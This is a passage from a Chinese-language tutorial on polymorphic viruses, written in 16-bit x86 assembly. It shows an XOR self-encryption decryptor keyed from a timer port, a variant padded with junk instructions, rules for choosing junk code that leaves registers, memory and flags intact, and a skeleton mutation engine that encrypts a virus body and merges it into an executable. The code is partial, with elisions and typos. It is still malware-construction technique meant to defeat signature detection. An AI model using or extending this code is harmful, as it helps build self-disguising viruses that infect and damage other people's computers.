@4: ;这里假设,es:di指向用于储存加密后代码的缓冲区 mov cx,@end-@entry lea si,[bp @entry-@1] push ds push cs pop ds in al,41h mov byte ptr [@key],al ;可将由41h端口读入的timer作为key rep movsb lea si,[di @3-entry] mov cx,@end-entry @5: xor byte ptr es:[si],al inc si loop @5 ... @end: 用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点. 看看以下这个稍作修改的例子: @entry: call @1 @1: mov ax,12h pop bp sub ax,cx lea di,[bp @3-@1] @2: add ax,bx xor bype ptr cs:[di],0 @key =$-1 jnz $ 2 inc di mov ax,[12h] loop @2 @3: ... 它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的. 选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容; 3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2. 一个由普通病毒改为变形病毒的例子如下: VirusEntry: ... infect: .286c push offset VirusEntry push offset buffer call Encrypt ;encrypt virus to buffer ... ;merge buffer to executable file Encrypt proc near decrypt:db sizeof(call $ 5),rawcode(call $ 5) ;定义如下, db sizeof(pop bp),rawcode(pop bp) ;一条代码的长度 ;代码的机器码 ... db 0 ;repeat ;generate junk code and write buffer ;wirte one decrypt code to buffer ;untile all decrypt code has been written ;encrypt virus and wirte buffer ret endp 一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. (完)